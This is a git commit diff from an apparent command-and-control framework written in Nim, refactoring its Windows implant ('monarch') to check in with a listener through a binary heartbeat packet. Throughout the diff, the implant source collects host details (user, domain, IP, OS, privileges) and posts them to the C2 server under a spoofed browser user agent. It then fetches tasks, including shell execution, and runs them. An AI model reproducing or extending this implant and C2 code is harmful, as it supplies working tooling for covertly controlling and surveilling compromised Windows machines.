Implemented Heartbeat/Checkin request with agentId/listenerId in request body to simplify listener URLs
This commit is contained in:
@@ -1,30 +0,0 @@
|
|||||||
import winim
|
|
||||||
|
|
||||||
type
|
|
||||||
ProductType* = enum
|
|
||||||
UNKNOWN = 0
|
|
||||||
WORKSTATION = 1
|
|
||||||
DC = 2
|
|
||||||
SERVER = 3
|
|
||||||
|
|
||||||
# API Structs
|
|
||||||
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
|
||||||
dwOSVersionInfoSize*: ULONG
|
|
||||||
dwMajorVersion*: ULONG
|
|
||||||
dwMinorVersion*: ULONG
|
|
||||||
dwBuildNumber*: ULONG
|
|
||||||
dwPlatformId*: ULONG
|
|
||||||
szCSDVersion*: array[128, WCHAR]
|
|
||||||
wServicePackMajor*: USHORT
|
|
||||||
wServicePackMinor*: USHORT
|
|
||||||
wSuiteMask*: USHORT
|
|
||||||
wProductType*: UCHAR
|
|
||||||
wReserved*: UCHAR
|
|
||||||
|
|
||||||
type
|
|
||||||
AgentConfig* = ref object
|
|
||||||
agentId*: string
|
|
||||||
listenerId*: string
|
|
||||||
ip*: string
|
|
||||||
port*: int
|
|
||||||
sleep*: int
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim
|
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
import os, strutils, strformat, winim, times, algorithm
|
import os, strutils, strformat, winim, times, algorithm
|
||||||
|
|
||||||
import ../agentTypes
|
|
||||||
import ../core/taskresult
|
import ../core/taskresult
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, utils]
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
import winim, osproc, strutils, strformat
|
import winim, osproc, strutils, strformat
|
||||||
|
|
||||||
import ../core/taskresult
|
import ../core/taskresult
|
||||||
import ../agentTypes
|
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, utils]
|
||||||
|
|
||||||
proc taskShell*(config: AgentConfig, task: Task): TaskResult =
|
proc taskShell*(config: AgentConfig, task: Task): TaskResult =
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
import os, strutils, strformat
|
import os, strutils, strformat
|
||||||
|
|
||||||
import ../[agentTypes]
|
|
||||||
import ../core/taskresult
|
import ../core/taskresult
|
||||||
import ../../../common/[types, utils, serialize]
|
import ../../../common/[types, utils, serialize]
|
||||||
|
|
||||||
|
|||||||
48
src/agents/monarch/core/heartbeat.nim
Normal file
48
src/agents/monarch/core/heartbeat.nim
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
import times
|
||||||
|
|
||||||
|
import ../../../common/[types, serialize, utils]
|
||||||
|
|
||||||
|
proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
||||||
|
return Heartbeat(
|
||||||
|
header: Header(
|
||||||
|
magic: MAGIC,
|
||||||
|
version: VERSION,
|
||||||
|
packetType: cast[uint8](MSG_HEARTBEAT),
|
||||||
|
flags: cast[uint16](FLAG_PLAINTEXT),
|
||||||
|
seqNr: 0'u32, # Sequence number is not used for heartbeats
|
||||||
|
size: 0'u32,
|
||||||
|
hmac: default(array[16, byte])
|
||||||
|
),
|
||||||
|
agentId: uuidToUint32(config.agentId),
|
||||||
|
listenerId: uuidToUint32(config.listenerId),
|
||||||
|
timestamp: uint32(now().toTime().toUnix())
|
||||||
|
)
|
||||||
|
|
||||||
|
proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
|
||||||
|
|
||||||
|
var packer = initPacker()
|
||||||
|
|
||||||
|
# Serialize check-in / heartbeat request
|
||||||
|
packer
|
||||||
|
.add(request.agentId)
|
||||||
|
.add(request.listenerId)
|
||||||
|
.add(request.timestamp)
|
||||||
|
|
||||||
|
let body = packer.pack()
|
||||||
|
packer.reset()
|
||||||
|
|
||||||
|
# TODO: Encrypt check-in / heartbeat request body
|
||||||
|
|
||||||
|
# Serialize header
|
||||||
|
packer
|
||||||
|
.add(request.header.magic)
|
||||||
|
.add(request.header.version)
|
||||||
|
.add(request.header.packetType)
|
||||||
|
.add(request.header.flags)
|
||||||
|
.add(request.header.seqNr)
|
||||||
|
.add(cast[uint32](body.len))
|
||||||
|
.addData(request.header.hmac)
|
||||||
|
|
||||||
|
let header = packer.pack()
|
||||||
|
|
||||||
|
return header & body
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
import httpclient, json, strformat, asyncdispatch
|
import httpclient, json, strformat, asyncdispatch
|
||||||
|
|
||||||
import ./metadata
|
import ./metadata
|
||||||
import ../agentTypes
|
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, utils]
|
||||||
|
|
||||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
@@ -31,14 +30,22 @@ proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discard
|
|||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc getTasks*(config: AgentConfig): string =
|
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||||
var responseBody = ""
|
var responseBody = ""
|
||||||
|
|
||||||
|
# Define HTTP headers
|
||||||
|
client.headers = newHttpHeaders({
|
||||||
|
"Content-Type": "application/octet-stream",
|
||||||
|
"Content-Length": $checkinData.len
|
||||||
|
})
|
||||||
|
|
||||||
|
let body = checkinData.toString()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
|
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
|
||||||
return responseBody
|
return responseBody
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
import winim, os, net, strformat, strutils, registry
|
import winim, os, net, strformat, strutils, registry
|
||||||
|
|
||||||
import ../agentTypes
|
import ../../../common/[types, serialize, utils]
|
||||||
import ../../../common/[types, utils]
|
|
||||||
|
|
||||||
# Hostname/Computername
|
# Hostname/Computername
|
||||||
proc getHostname*(): string =
|
proc getHostname*(): string =
|
||||||
@@ -69,7 +68,28 @@ proc getIPv4Address*(): string =
|
|||||||
return $getPrimaryIpAddr()
|
return $getPrimaryIpAddr()
|
||||||
|
|
||||||
# Windows Version fingerprinting
|
# Windows Version fingerprinting
|
||||||
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
|
type
|
||||||
|
ProductType* = enum
|
||||||
|
UNKNOWN = 0
|
||||||
|
WORKSTATION = 1
|
||||||
|
DC = 2
|
||||||
|
SERVER = 3
|
||||||
|
|
||||||
|
# API Structs
|
||||||
|
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||||
|
dwOSVersionInfoSize*: ULONG
|
||||||
|
dwMajorVersion*: ULONG
|
||||||
|
dwMinorVersion*: ULONG
|
||||||
|
dwBuildNumber*: ULONG
|
||||||
|
dwPlatformId*: ULONG
|
||||||
|
szCSDVersion*: array[128, WCHAR]
|
||||||
|
wServicePackMajor*: USHORT
|
||||||
|
wServicePackMinor*: USHORT
|
||||||
|
wSuiteMask*: USHORT
|
||||||
|
wProductType*: UCHAR
|
||||||
|
wReserved*: UCHAR
|
||||||
|
|
||||||
|
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||||
let
|
let
|
||||||
major = info.dwMajorVersion
|
major = info.dwMajorVersion
|
||||||
minor = info.dwMinorVersion
|
minor = info.dwMinorVersion
|
||||||
@@ -152,11 +172,11 @@ proc getProductType(): ProductType =
|
|||||||
|
|
||||||
proc getOSVersion*(): string =
|
proc getOSVersion*(): string =
|
||||||
|
|
||||||
proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS
|
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
|
||||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||||
|
|
||||||
when defined(windows):
|
when defined(windows):
|
||||||
var osInfo: agentTypes.OSVersionInfoExW
|
var osInfo: OSVersionInfoExW
|
||||||
discard rtlGetVersion(osInfo)
|
discard rtlGetVersion(osInfo)
|
||||||
# echo $int(osInfo.dwMajorVersion)
|
# echo $int(osInfo.dwMajorVersion)
|
||||||
# echo $int(osInfo.dwMinorVersion)
|
# echo $int(osInfo.dwMinorVersion)
|
||||||
@@ -172,13 +192,13 @@ proc getOSVersion*(): string =
|
|||||||
else:
|
else:
|
||||||
return "Unknown"
|
return "Unknown"
|
||||||
|
|
||||||
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
|
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||||
|
|
||||||
return AgentRegistrationData(
|
return AgentRegistrationData(
|
||||||
header: Header(
|
header: Header(
|
||||||
magic: MAGIC,
|
magic: MAGIC,
|
||||||
version: VERSION,
|
version: VERSION,
|
||||||
packetType: cast[uint8](MSG_RESPONSE),
|
packetType: cast[uint8](MSG_REGISTER),
|
||||||
flags: cast[uint16](FLAG_PLAINTEXT),
|
flags: cast[uint16](FLAG_PLAINTEXT),
|
||||||
seqNr: 1'u32, # TODO: Implement sequence tracking
|
seqNr: 1'u32, # TODO: Implement sequence tracking
|
||||||
size: 0'u32,
|
size: 0'u32,
|
||||||
@@ -198,3 +218,40 @@ proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
|
|||||||
sleep: cast[uint32](config.sleep)
|
sleep: cast[uint32](config.sleep)
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
|
||||||
|
|
||||||
|
var packer = initPacker()
|
||||||
|
|
||||||
|
# Serialize registration data
|
||||||
|
packer
|
||||||
|
.add(data.metadata.agentId)
|
||||||
|
.add(data.metadata.listenerId)
|
||||||
|
.addVarLengthMetadata(data.metadata.username)
|
||||||
|
.addVarLengthMetadata(data.metadata.hostname)
|
||||||
|
.addVarLengthMetadata(data.metadata.domain)
|
||||||
|
.addVarLengthMetadata(data.metadata.ip)
|
||||||
|
.addVarLengthMetadata(data.metadata.os)
|
||||||
|
.addVarLengthMetadata(data.metadata.process)
|
||||||
|
.add(data.metadata.pid)
|
||||||
|
.add(data.metadata.isElevated)
|
||||||
|
.add(data.metadata.sleep)
|
||||||
|
|
||||||
|
let metadata = packer.pack()
|
||||||
|
packer.reset()
|
||||||
|
|
||||||
|
# TODO: Encrypt metadata
|
||||||
|
|
||||||
|
# Serialize header
|
||||||
|
packer
|
||||||
|
.add(data.header.magic)
|
||||||
|
.add(data.header.version)
|
||||||
|
.add(data.header.packetType)
|
||||||
|
.add(data.header.flags)
|
||||||
|
.add(data.header.seqNr)
|
||||||
|
.add(cast[uint32](metadata.len))
|
||||||
|
.addData(data.header.hmac)
|
||||||
|
|
||||||
|
let header = packer.pack()
|
||||||
|
|
||||||
|
return header & metadata
|
||||||
|
|||||||
@@ -1,164 +0,0 @@
|
|||||||
import strutils, strformat
|
|
||||||
|
|
||||||
import ../../../common/[types, utils, serialize]
|
|
||||||
|
|
||||||
proc deserializeTask*(bytes: seq[byte]): Task =
|
|
||||||
|
|
||||||
var unpacker = initUnpacker(bytes.toString)
|
|
||||||
|
|
||||||
let
|
|
||||||
magic = unpacker.getUint32()
|
|
||||||
version = unpacker.getUint8()
|
|
||||||
packetType = unpacker.getUint8()
|
|
||||||
flags = unpacker.getUint16()
|
|
||||||
seqNr = unpacker.getUint32()
|
|
||||||
size = unpacker.getUint32()
|
|
||||||
hmacBytes = unpacker.getBytes(16)
|
|
||||||
|
|
||||||
# Explicit conversion from seq[byte] to array[16, byte]
|
|
||||||
var hmac: array[16, byte]
|
|
||||||
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
|
|
||||||
|
|
||||||
# Packet Validation
|
|
||||||
if magic != MAGIC:
|
|
||||||
raise newException(CatchableError, "Invalid magic bytes.")
|
|
||||||
|
|
||||||
# TODO: Validate sequence number
|
|
||||||
|
|
||||||
# TODO: Validate HMAC
|
|
||||||
|
|
||||||
# TODO: Decrypt payload
|
|
||||||
# let payload = unpacker.getBytes(size)
|
|
||||||
|
|
||||||
let
|
|
||||||
taskId = unpacker.getUint32()
|
|
||||||
agentId = unpacker.getUint32()
|
|
||||||
listenerId = unpacker.getUint32()
|
|
||||||
timestamp = unpacker.getUint32()
|
|
||||||
command = unpacker.getUint16()
|
|
||||||
|
|
||||||
var argCount = unpacker.getUint8()
|
|
||||||
var args = newSeq[TaskArg]()
|
|
||||||
|
|
||||||
# Parse arguments
|
|
||||||
var i = 0
|
|
||||||
while i < int(argCount):
|
|
||||||
args.add(unpacker.getArgument())
|
|
||||||
inc i
|
|
||||||
|
|
||||||
return Task(
|
|
||||||
header: Header(
|
|
||||||
magic: magic,
|
|
||||||
version: version,
|
|
||||||
packetType: packetType,
|
|
||||||
flags: flags,
|
|
||||||
seqNr: seqNr,
|
|
||||||
size: size,
|
|
||||||
hmac: hmac
|
|
||||||
),
|
|
||||||
taskId: taskId,
|
|
||||||
agentId: agentId,
|
|
||||||
listenerId: listenerId,
|
|
||||||
timestamp: timestamp,
|
|
||||||
command: command,
|
|
||||||
argCount: argCount,
|
|
||||||
args: args
|
|
||||||
)
|
|
||||||
|
|
||||||
proc deserializePacket*(packet: string): seq[Task] =
|
|
||||||
|
|
||||||
result = newSeq[Task]()
|
|
||||||
|
|
||||||
var unpacker = initUnpacker(packet)
|
|
||||||
|
|
||||||
var taskCount = unpacker.getUint8()
|
|
||||||
echo fmt"[*] Response contained {taskCount} tasks."
|
|
||||||
if taskCount <= 0:
|
|
||||||
return @[]
|
|
||||||
|
|
||||||
while taskCount > 0:
|
|
||||||
|
|
||||||
# Read length of each task and store the task object in a seq[byte]
|
|
||||||
let
|
|
||||||
taskLength = unpacker.getUint32()
|
|
||||||
taskBytes = unpacker.getBytes(int(taskLength))
|
|
||||||
|
|
||||||
result.add(deserializeTask(taskBytes))
|
|
||||||
|
|
||||||
dec taskCount
|
|
||||||
|
|
||||||
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
|
|
||||||
|
|
||||||
var packer = initPacker()
|
|
||||||
|
|
||||||
# Serialize result body
|
|
||||||
packer
|
|
||||||
.add(taskResult.taskId)
|
|
||||||
.add(taskResult.agentId)
|
|
||||||
.add(taskResult.listenerId)
|
|
||||||
.add(taskResult.timestamp)
|
|
||||||
.add(taskResult.command)
|
|
||||||
.add(taskResult.status)
|
|
||||||
.add(taskResult.resultType)
|
|
||||||
.add(taskResult.length)
|
|
||||||
|
|
||||||
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
|
|
||||||
packer.addData(taskResult.data)
|
|
||||||
|
|
||||||
let body = packer.pack()
|
|
||||||
packer.reset()
|
|
||||||
|
|
||||||
# TODO: Encrypt result body
|
|
||||||
|
|
||||||
# Serialize header
|
|
||||||
packer
|
|
||||||
.add(taskResult.header.magic)
|
|
||||||
.add(taskResult.header.version)
|
|
||||||
.add(taskResult.header.packetType)
|
|
||||||
.add(taskResult.header.flags)
|
|
||||||
.add(taskResult.header.seqNr)
|
|
||||||
.add(cast[uint32](body.len))
|
|
||||||
.addData(taskResult.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
# TODO: Calculate and patch HMAC
|
|
||||||
|
|
||||||
return header & body
|
|
||||||
|
|
||||||
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
|
|
||||||
|
|
||||||
var packer = initPacker()
|
|
||||||
|
|
||||||
# Serialize registration data
|
|
||||||
packer
|
|
||||||
.add(data.metadata.agentId)
|
|
||||||
.add(data.metadata.listenerId)
|
|
||||||
.addVarLengthMetadata(data.metadata.username)
|
|
||||||
.addVarLengthMetadata(data.metadata.hostname)
|
|
||||||
.addVarLengthMetadata(data.metadata.domain)
|
|
||||||
.addVarLengthMetadata(data.metadata.ip)
|
|
||||||
.addVarLengthMetadata(data.metadata.os)
|
|
||||||
.addVarLengthMetadata(data.metadata.process)
|
|
||||||
.add(data.metadata.pid)
|
|
||||||
.add(data.metadata.isElevated)
|
|
||||||
.add(data.metadata.sleep)
|
|
||||||
|
|
||||||
let metadata = packer.pack()
|
|
||||||
packer.reset()
|
|
||||||
|
|
||||||
# TODO: Encrypt metadata
|
|
||||||
|
|
||||||
# Serialize header
|
|
||||||
packer
|
|
||||||
.add(data.header.magic)
|
|
||||||
.add(data.header.version)
|
|
||||||
.add(data.header.packetType)
|
|
||||||
.add(data.header.flags)
|
|
||||||
.add(data.header.seqNr)
|
|
||||||
.add(cast[uint32](metadata.len))
|
|
||||||
.addData(data.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
return header & metadata
|
|
||||||
@@ -1,9 +1,7 @@
|
|||||||
import strutils, tables, json
|
import strutils, tables, json, strformat
|
||||||
|
|
||||||
import ../agentTypes
|
|
||||||
import ../commands/commands
|
import ../commands/commands
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, serialize, utils]
|
||||||
import sugar
|
|
||||||
|
|
||||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||||
|
|
||||||
@@ -22,3 +20,90 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
|||||||
# Handle task command
|
# Handle task command
|
||||||
return handlers[cast[CommandType](task.command)](config, task)
|
return handlers[cast[CommandType](task.command)](config, task)
|
||||||
|
|
||||||
|
proc deserializeTask*(bytes: seq[byte]): Task =
|
||||||
|
|
||||||
|
var unpacker = initUnpacker(bytes.toString)
|
||||||
|
|
||||||
|
let
|
||||||
|
magic = unpacker.getUint32()
|
||||||
|
version = unpacker.getUint8()
|
||||||
|
packetType = unpacker.getUint8()
|
||||||
|
flags = unpacker.getUint16()
|
||||||
|
seqNr = unpacker.getUint32()
|
||||||
|
size = unpacker.getUint32()
|
||||||
|
hmacBytes = unpacker.getBytes(16)
|
||||||
|
|
||||||
|
# Explicit conversion from seq[byte] to array[16, byte]
|
||||||
|
var hmac: array[16, byte]
|
||||||
|
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
|
||||||
|
|
||||||
|
# Packet Validation
|
||||||
|
if magic != MAGIC:
|
||||||
|
raise newException(CatchableError, "Invalid magic bytes.")
|
||||||
|
|
||||||
|
if packetType != cast[uint8](MSG_TASK):
|
||||||
|
raise newException(CatchableError, "Invalid packet type.")
|
||||||
|
|
||||||
|
# TODO: Validate sequence number
|
||||||
|
|
||||||
|
# TODO: Validate HMAC
|
||||||
|
|
||||||
|
# TODO: Decrypt payload
|
||||||
|
# let payload = unpacker.getBytes(size)
|
||||||
|
|
||||||
|
let
|
||||||
|
taskId = unpacker.getUint32()
|
||||||
|
agentId = unpacker.getUint32()
|
||||||
|
listenerId = unpacker.getUint32()
|
||||||
|
timestamp = unpacker.getUint32()
|
||||||
|
command = unpacker.getUint16()
|
||||||
|
|
||||||
|
var argCount = unpacker.getUint8()
|
||||||
|
var args = newSeq[TaskArg]()
|
||||||
|
|
||||||
|
# Parse arguments
|
||||||
|
var i = 0
|
||||||
|
while i < int(argCount):
|
||||||
|
args.add(unpacker.getArgument())
|
||||||
|
inc i
|
||||||
|
|
||||||
|
return Task(
|
||||||
|
header: Header(
|
||||||
|
magic: magic,
|
||||||
|
version: version,
|
||||||
|
packetType: packetType,
|
||||||
|
flags: flags,
|
||||||
|
seqNr: seqNr,
|
||||||
|
size: size,
|
||||||
|
hmac: hmac
|
||||||
|
),
|
||||||
|
taskId: taskId,
|
||||||
|
agentId: agentId,
|
||||||
|
listenerId: listenerId,
|
||||||
|
timestamp: timestamp,
|
||||||
|
command: command,
|
||||||
|
argCount: argCount,
|
||||||
|
args: args
|
||||||
|
)
|
||||||
|
|
||||||
|
proc deserializePacket*(packet: string): seq[Task] =
|
||||||
|
|
||||||
|
result = newSeq[Task]()
|
||||||
|
|
||||||
|
var unpacker = initUnpacker(packet)
|
||||||
|
|
||||||
|
var taskCount = unpacker.getUint8()
|
||||||
|
echo fmt"[*] Response contained {taskCount} tasks."
|
||||||
|
if taskCount <= 0:
|
||||||
|
return @[]
|
||||||
|
|
||||||
|
while taskCount > 0:
|
||||||
|
|
||||||
|
# Read length of each task and store the task object in a seq[byte]
|
||||||
|
let
|
||||||
|
taskLength = unpacker.getUint32()
|
||||||
|
taskBytes = unpacker.getBytes(int(taskLength))
|
||||||
|
|
||||||
|
result.add(deserializeTask(taskBytes))
|
||||||
|
|
||||||
|
dec taskCount
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import times
|
import times
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, serialize, utils]
|
||||||
|
|
||||||
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
||||||
|
|
||||||
@@ -22,4 +22,43 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
|||||||
resultType: cast[uint8](resultType),
|
resultType: cast[uint8](resultType),
|
||||||
length: uint32(resultData.len),
|
length: uint32(resultData.len),
|
||||||
data: resultData,
|
data: resultData,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
|
||||||
|
|
||||||
|
var packer = initPacker()
|
||||||
|
|
||||||
|
# Serialize result body
|
||||||
|
packer
|
||||||
|
.add(taskResult.taskId)
|
||||||
|
.add(taskResult.agentId)
|
||||||
|
.add(taskResult.listenerId)
|
||||||
|
.add(taskResult.timestamp)
|
||||||
|
.add(taskResult.command)
|
||||||
|
.add(taskResult.status)
|
||||||
|
.add(taskResult.resultType)
|
||||||
|
.add(taskResult.length)
|
||||||
|
|
||||||
|
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
|
||||||
|
packer.addData(taskResult.data)
|
||||||
|
|
||||||
|
let body = packer.pack()
|
||||||
|
packer.reset()
|
||||||
|
|
||||||
|
# TODO: Encrypt result body
|
||||||
|
|
||||||
|
# Serialize header
|
||||||
|
packer
|
||||||
|
.add(taskResult.header.magic)
|
||||||
|
.add(taskResult.header.version)
|
||||||
|
.add(taskResult.header.packetType)
|
||||||
|
.add(taskResult.header.flags)
|
||||||
|
.add(taskResult.header.seqNr)
|
||||||
|
.add(cast[uint32](body.len))
|
||||||
|
.addData(taskResult.header.hmac)
|
||||||
|
|
||||||
|
let header = packer.pack()
|
||||||
|
|
||||||
|
# TODO: Calculate and patch HMAC
|
||||||
|
|
||||||
|
return header & body
|
||||||
@@ -1,10 +1,9 @@
|
|||||||
import strformat, os, times, random
|
import strformat, os, times, random
|
||||||
import winim
|
import winim
|
||||||
import sugar
|
|
||||||
|
|
||||||
import ./agentTypes
|
import core/[task, taskresult, heartbeat, http, metadata]
|
||||||
import core/[task, packer, http, metadata]
|
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
import sugar
|
||||||
|
|
||||||
const ListenerUuid {.strdefine.}: string = ""
|
const ListenerUuid {.strdefine.}: string = ""
|
||||||
const Octet1 {.intdefine.}: int = 0
|
const Octet1 {.intdefine.}: int = 0
|
||||||
@@ -45,7 +44,7 @@ proc main() =
|
|||||||
)
|
)
|
||||||
|
|
||||||
# Create registration payload
|
# Create registration payload
|
||||||
let registrationData: AgentRegistrationData = config.getRegistrationData()
|
let registrationData: AgentRegistrationData = config.collectAgentMetadata()
|
||||||
let registrationBytes = serializeRegistrationData(registrationData)
|
let registrationBytes = serializeRegistrationData(registrationData)
|
||||||
|
|
||||||
config.register(registrationBytes)
|
config.register(registrationBytes)
|
||||||
@@ -67,8 +66,12 @@ proc main() =
|
|||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo fmt"[{date}] Checking in."
|
echo fmt"[{date}] Checking in."
|
||||||
|
|
||||||
# Retrieve task queue for the current agent
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||||
let packet: string = config.getTasks()
|
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
||||||
|
let
|
||||||
|
heartbeat: Heartbeat = config.createHeartbeat()
|
||||||
|
heartbeatData: seq[byte] = serializeHeartbeat(heartbeat)
|
||||||
|
packet: string = config.getTasks(heartbeatData)
|
||||||
|
|
||||||
if packet.len <= 0:
|
if packet.len <= 0:
|
||||||
echo "No tasks to execute."
|
echo "No tasks to execute."
|
||||||
@@ -14,7 +14,7 @@ type
|
|||||||
MSG_TASK = 0'u8
|
MSG_TASK = 0'u8
|
||||||
MSG_RESPONSE = 1'u8
|
MSG_RESPONSE = 1'u8
|
||||||
MSG_REGISTER = 2'u8
|
MSG_REGISTER = 2'u8
|
||||||
MSG_CHECKIN = 100'u8
|
MSG_HEARTBEAT = 100'u8
|
||||||
|
|
||||||
ArgType* = enum
|
ArgType* = enum
|
||||||
STRING = 0'u8
|
STRING = 0'u8
|
||||||
@@ -85,7 +85,7 @@ type
|
|||||||
length*: uint32 # [4 bytes ] result length
|
length*: uint32 # [4 bytes ] result length
|
||||||
data*: seq[byte] # variable length result
|
data*: seq[byte] # variable length result
|
||||||
|
|
||||||
# Commands
|
# Structure for command module definitions
|
||||||
Argument* = object
|
Argument* = object
|
||||||
name*: string
|
name*: string
|
||||||
description*: string
|
description*: string
|
||||||
@@ -100,9 +100,16 @@ type
|
|||||||
arguments*: seq[Argument]
|
arguments*: seq[Argument]
|
||||||
dispatchMessage*: string
|
dispatchMessage*: string
|
||||||
|
|
||||||
# Agent structure
|
# Checkin binary structure
|
||||||
type
|
type
|
||||||
|
Heartbeat* = object
|
||||||
|
header*: Header
|
||||||
|
agentId*: uint32 # [4 bytes ] agent id
|
||||||
|
listenerId*: uint32 # [4 bytes ] listener id
|
||||||
|
timestamp*: uint32
|
||||||
|
|
||||||
|
# Registration binary structure
|
||||||
|
type
|
||||||
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
||||||
AgentMetadata* = object
|
AgentMetadata* = object
|
||||||
agentId*: uint32
|
agentId*: uint32
|
||||||
@@ -122,6 +129,8 @@ type
|
|||||||
# encMaterial*: seq[byte] # Encryption material for the agent registration
|
# encMaterial*: seq[byte] # Encryption material for the agent registration
|
||||||
metadata*: AgentMetadata
|
metadata*: AgentMetadata
|
||||||
|
|
||||||
|
# Agent structure
|
||||||
|
type
|
||||||
Agent* = ref object
|
Agent* = ref object
|
||||||
agentId*: string
|
agentId*: string
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
@@ -157,4 +166,13 @@ type
|
|||||||
dbPath*: string
|
dbPath*: string
|
||||||
listeners*: Table[string, Listener]
|
listeners*: Table[string, Listener]
|
||||||
agents*: Table[string, Agent]
|
agents*: Table[string, Agent]
|
||||||
interactAgent*: Agent
|
interactAgent*: Agent
|
||||||
|
|
||||||
|
# Agent Config
|
||||||
|
type
|
||||||
|
AgentConfig* = ref object
|
||||||
|
agentId*: string
|
||||||
|
listenerId*: string
|
||||||
|
ip*: string
|
||||||
|
port*: int
|
||||||
|
sleep*: int
|
||||||
@@ -39,29 +39,36 @@ proc register*(registrationData: seq[byte]): bool =
|
|||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc getTasks*(listener, agent: string): seq[seq[byte]] =
|
proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
|
# Deserialize checkin request to obtain agentId and listenerId
|
||||||
|
let
|
||||||
|
request: Heartbeat = deserializeHeartbeat(checkinData)
|
||||||
|
agentId = uuidToString(request.agentId)
|
||||||
|
listenerId = uuidToString(request.listenerId)
|
||||||
|
timestamp = request.timestamp
|
||||||
|
|
||||||
var result: seq[seq[byte]]
|
var result: seq[seq[byte]]
|
||||||
|
|
||||||
# Check if listener exists
|
# Check if listener exists
|
||||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
if not cq.dbListenerExists(listenerId):
|
||||||
